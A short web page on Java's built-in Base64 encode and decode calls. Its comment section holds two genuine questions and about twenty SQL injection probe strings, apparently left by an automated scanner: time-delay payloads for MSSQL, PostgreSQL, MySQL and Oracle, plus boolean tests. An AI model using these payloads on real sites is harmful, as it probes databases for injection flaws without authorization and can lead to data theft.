A virtual teacher who reveals to you the great secrets of Base64

Java Base64

Java is one of the most popular programming languages used for developing client applications and server software. One of the reasons why it became so popular is due to the fact that Java programs are translated into Java bytecode, therefore, they can be executed on any computer architecture using the Java Virtual Machine (JVM). Another reason is that it has a lot of libraries, which are very useful for developers. As you probably guessed, Java also has a built-in Base64 library.

You can use Java Base64 encode as follows:

java.util.Base64.getEncoder().encode(data);

On other hand, the Java Base64 decode can be used as follows:

java.util.Base64.getDecoder().decode(b64);

To learn more about it, check the following Java Base64 examples:

Comments (21)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • mahipal,
    i want convert base64 to svg image code snippet
  • Silva,
    hi
    how can I decode base64 encoded binary file?
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    cYqXd8PY')) OR 726=(SELECT 726 FROM PG_SLEEP(15))--
  • nqhXncMU,
    NRimk8Hi')) OR 216=(SELECT 216 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1 OR 3+269-269-1=0+0+0+1
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • gBqsPxAZ,
    -1); waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1)) OR 988=(SELECT 988 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -5) OR 26=(SELECT 26 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1" OR 2+442-442-1=0+0+0+1 --
  • gBqsPxAZ,
    Mq72iTxG' OR 691=(SELECT 691 FROM PG_SLEEP(15))--
  • gBqsPxAZ,
    -1; waitfor delay '0:0:15' --
  • nqhXncMU,
    -1" OR 2+82-82-1=0+0+0+1 --
  • nqhXncMU,
    if(now()=sysdate(),sleep(15),0)
  • nqhXncMU,
    -1; waitfor delay '0:0:15' --
  • ncMUFCMU,
    -1' OR 2+104-104-1=0+0+0+1 or 'pgByOMXi'='
  • nqhXncMU,
    mOrU0ByV'; waitfor delay '0:0:15' --
  • nqhXncMU,
    555*60*55*0
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.